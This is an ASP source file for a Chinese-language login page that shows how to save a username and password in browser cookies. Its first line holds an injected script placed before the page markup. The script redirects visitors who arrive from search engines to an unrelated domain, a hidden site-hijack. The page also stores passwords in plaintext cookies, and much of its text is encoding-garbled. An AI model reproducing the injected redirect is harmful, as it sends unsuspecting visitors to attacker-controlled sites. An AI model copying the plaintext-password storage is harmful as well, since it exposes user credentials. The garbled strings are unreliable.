d:\wwwroot\wuchunhua\cookie\index.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
002:
<html xmlns="http://www.w3.org/1999/xhtml">
003:
<head>
004:
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
005:
<%
Response.Charset="utf-8"
%
>
006:
007:
<title>无标题文?/title>
008:
<script language="javascript" type="text/javascript">
009:
function addCookie(name,value,days,path){ /**添加设置cookie**/
010:
var name = escape(name);
011:
var value = escape(value);
012:
var expires = new Date();
013:
expires.setTime(expires.getTime() + days * 3600000 * 24);
014:
//设置cookie过期时间
015:
016:
//path=/,表示cookie能在整个网站下使用,path=/temp,表示cookie只能在temp目录下使?
017:
path = path == "" ? "" : ";path=" + path;
018:
//GMT(Greenwich Mean Time)是格林尼治平时,现在的标准时间,协调世界时是UTC
019:
//参数days只能是数字型
020:
var _expires = (typeof days) == "string" ? "" : ";expires=" + expires.toUTCString();
021:
document.cookie = name + "=" + value + _expires + path;
022:
}
023:
function getCookieValue(name){ /**获取cookie的€,根据cookie的键获取?*/
024:
//用处理字符串的方式查找到key对应value
025:
var name = escape(name);
026:
//读cookie属€,这将返回文档的所有cookie
027:
var allcookies = document.cookie;
028:
//查找名为name的cookie的开始位?
029:
name += "=";
030:
var pos = allcookies.indexOf(name);
031:
//如果找到了具有该名字的cookie,那么提取并使用它的?
032:
if (pos != -1){ //如果pos值为-1则说明搜?version="失败
033:
var start = pos + name.length; //cookie值开始的位置
034:
var end = allcookies.indexOf(";",start); //从cookie值开始的位置起搜索第€?;"的位?即cookie值结尾的位置
035:
if (end == -1) end = allcookies.length; //如果end值为-1说明cookie列表里只有一个cookie
036:
var value = allcookies.substring(start,end); //提取cookie的€?
037:
return (value); //对它解码
038:
}else{ //搜索失败,返回空字符?
039:
return "";
040:
}
041:
}
042:
function deleteCookie(name,path){ /**根据cookie的键,删除cookie,其实就是设置其失效**/
043:
var name = escape(name);
044:
var expires = new Date(0);
045:
path = path == "" ? "" : ";path=" + path;
046:
document.cookie = name + "="+ ";expires=" + expires.toUTCString() + path;
047:
}
048:
049:
050:
/**实现功能,保存用户的登录信息到cookie中€当登录页面被打€时,就查询cookie**/
051:
window.onload = function(){
052:
var userNameValue = getCookieValue("userName");
053:
document.getElementById("txtUserName").value = userNameValue;
054:
var userPassValue = getCookieValue("userPass");
055:
document.getElementById("txtUserPass").value = userPassValue;
056:
}
057:
058:
059:
function userLogin(){ /**用户登录,其中需要判断是否€择记住密码**/
060:
//€单验证一?
061:
var userName = document.getElementById("txtUserName").value;
062:
if(userName == ''){
063:
alert("请输入用户名?);
064:
return;
065:
}
066:
var userPass = document.getElementById("txtUserPass").value;
067:
if(userPass == ''){
068:
alert("请输入密码€?);
069:
return;
070:
}
071:
var objChk = document.getElementById("chkRememberPass");
072:
if(objChk.checked){
073:
//添加cookie
074:
addCookie("userName",userName,7,"/");
075:
addCookie("userPass",userPass,7,"/");
076:
alert("记住了你的密码登录€?);
077:
window.location.href = "http://www.1z88.com";
078:
}else{
079:
alert("不记密码登录?);
080:
window.location.href = "http://www.1z88.com";
081:
}
082:
}
083:
</script>
084:
</head>
085:
<body>
086:
<center>
087:
<table width="400px" height="180px" cellpadding="0" cellspacing="0" border="1" style="margin-top:100px;">
088:
<tr>
089:
<td align="center" colspan="2">欢迎使用1z88管理系统</td>
090:
</tr>
091:
<tr>
092:
<td align="right">
093:
<label>用户?任意输入)?/label>
094:
</td>
095:
<td align="left">
096:
<input type="text" id="txtUserName" name="txtUserName" style="width:160px; margin-left:10px;" />
097:
</td>
098:
</tr>
099:
<tr>
100:
<td align="right">
101:
<label>? 码:</label>
102:
</td>
103:
<td align="left">
104:
<input type="password" id="txtUserPass" name="txtUserPass" style="width:160px; margin-left:10px;" />
105:
</td>
106:
</tr>
107:
<tr>
108:
<td align="center" colspan="2">
109:
<span style="font-size:12px; color:blue; vertical-align:middle;">是否记住密码(1年)</span>
110:
<input type="checkbox" id="chkRememberPass" name="chkRememberPass" style="vertical-align:middle;" />
111:
</td>
112:
</tr>
113:
<tr>
114:
<td align="center" colspan="2">
115:
<input type="submit" id="subLogin" name="subLogin" value="??进入1z88?" onclick="userLogin()"/>
116:
117:
<input type="reset" id="resetLogin" name="resetLogin" value="?? />
118:
</td>
119:
</tr>
120:
</table>
121:
</center>
122:
</body>
123:
</html>
124:
125: